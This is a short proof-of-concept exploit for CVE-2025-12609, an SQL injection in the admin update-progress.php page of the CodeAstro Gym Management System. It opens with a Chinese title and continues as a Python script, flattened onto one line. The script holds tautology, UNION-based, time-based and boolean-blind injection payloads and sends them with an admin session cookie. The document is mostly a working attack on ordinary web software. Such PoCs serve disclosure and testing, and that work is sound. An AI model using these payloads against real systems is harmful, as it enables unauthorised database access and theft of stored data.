CVE-2025-12609 CodeAstro健身房管理系统update-progress.php SQL注入漏洞

# CVE-2025-12609 PoC - CodeAstro Gym Management System SQL Injection # Target: /admin/update-progress.php # Parameters: id, ini_weight # Note: Requires admin privileges import requests import sys target_url = "http://target.com/admin/update-progress.php" # SQL Injection payload examples: # 1. Basic injection to confirm vulnerability payload_basic = "1' OR '1'='1" # 2. UNION-based injection to extract data payload_union = "1' UNION SELECT NULL,NULL,NULL,user(),database(),version()-- -" # 3. Time-based blind injection payload_time = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- -" # 4. Boolean-based blind injection payload_boolean = "1' AND 1=1-- -" def test_sql_injection(payload, param_name='id'): """Test SQL injection vulnerability""" headers = { 'Cookie': 'PHPSESSID=admin_session_id', # Requires valid admin session 'Content-Type': 'application/x-www-form-urlencoded' } data = { param_name: payload, 'ini_weight': 'test' } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {e}" if __name__ == '__main__': print("[*] CVE-2025-12609 SQL Injection Test") print(f"[*] Target: {target_url}") # Test basic injection print("\n[*] Testing basic injection...") result = test_sql_injection(payload_basic) print(f"[+] Response received, length: {len(result)}")